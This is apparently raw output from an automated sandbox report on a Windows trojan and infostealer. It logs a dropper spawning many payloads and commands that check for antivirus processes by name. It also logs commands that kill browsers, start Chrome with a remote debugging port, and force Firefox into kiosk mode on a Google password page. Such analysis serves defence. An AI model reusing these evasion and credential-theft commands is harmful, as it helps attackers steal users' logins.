Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0040EBCD	9_2_0040EBCD
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043DBE0	9_2_0043DBE0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0040CC41	9_2_0040CC41
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042D46A	9_2_0042D46A
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00407410	9_2_00407410
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004254C0	9_2_004254C0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00430CC0	9_2_00430CC0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00416CD2	9_2_00416CD2
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004254E0	9_2_004254E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00413CF0	9_2_00413CF0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043C4A0	9_2_0043C4A0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0040ACB0	9_2_0040ACB0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042656B	9_2_0042656B
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00423D32	9_2_00423D32
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004395E0	9_2_004395E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00436DF0	9_2_00436DF0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00409580	9_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00426D90	9_2_00426D90
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043C590	9_2_0043C590
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041C5A0	9_2_0041C5A0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00405E00	9_2_00405E00
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0040F617	9_2_0040F617
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00406630	9_2_00406630
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00427EC0	9_2_00427EC0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00402ED0	9_2_00402ED0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004246E0	9_2_004246E0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00408E90	9_2_00408E90
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041AE90	9_2_0041AE90
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043C690	9_2_0043C690
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00417E95	9_2_00417E95
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041BEA0	9_2_0041BEA0
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00419760	9_2_00419760
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00414770	9_2_00414770
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0041DF70	9_2_0041DF70
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0042EF10	9_2_0042EF10
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00430F10	9_2_00430F10
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00410F14	9_2_00410F14
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043471B	9_2_0043471B
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00427726	9_2_00427726
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043C730	9_2_0043C730
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043C7C0	9_2_0043C7C0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EC80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006DDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006D80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: String function: 003814C4 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: String function: 0037D05E appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: String function: 00413CE0 appears 73 times
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: String function: 003741E0 appears 94 times
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: String function: 00407FD0 appears 48 times

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 304

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EUCyhuW[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: EUCyhuW.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 412ec13ac5.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 412ec13ac5.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: random[1].exe1.6.dr	Static PE information: Section: gysvhwxe ZLIB complexity 0.9946611807036247
Source: 580c9354ec.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: 580c9354ec.exe.6.dr	Static PE information: Section: gysvhwxe ZLIB complexity 0.9946611807036247
Source: random[2].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[2].exe2.6.dr	Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977
Source: a53907268b.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: a53907268b.exe.6.dr	Static PE information: Section: wekcazbo ZLIB complexity 0.9943740803274977

Source: random[2].exe0.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 5936bfa4af.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@114/80@0/21

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Code function: 9_2_00436460 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

9_2_00436460

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\EUCyhuW[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6496
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:64:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6308:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe

System information queried: HandleInformation

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp, 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp, 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp, 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp, 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp, 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp, 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: EUCyhuW.exe, 00000009.00000003.2805649505.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2805476460.0000000003716000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3342590857.0000000003912000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250195439.0000000003897000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3333980226.000000000387F000.00000004.00000800.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3250778707.000000000387A000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3488469343.00000000059F8000.00000004.00000800.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3492015539.00000000059DD000.00000004.00000800.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3678574025.000000000563C000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000003.3530217719.0000000005648000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 9f6ea82062.exe, 00000020.00000002.4047572344.0000000005794000.00000004.00000020.00020000.00000000.sdmp, 9f6ea82062.exe, 00000020.00000002.4065557935.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	Virustotal: Detection: 58%
Source: file.exe	ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 304
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe "C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe"
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 370821
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Anchor" Veterinary
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\370821\Sale.com Sale.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe "C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe "C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Process created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe "C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe "C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe"
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe"
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1916,i,5817995298996924960,10670888794113214286,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe "C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe"
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe "C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe "C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe "C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe "C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe "C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe "C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe "C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
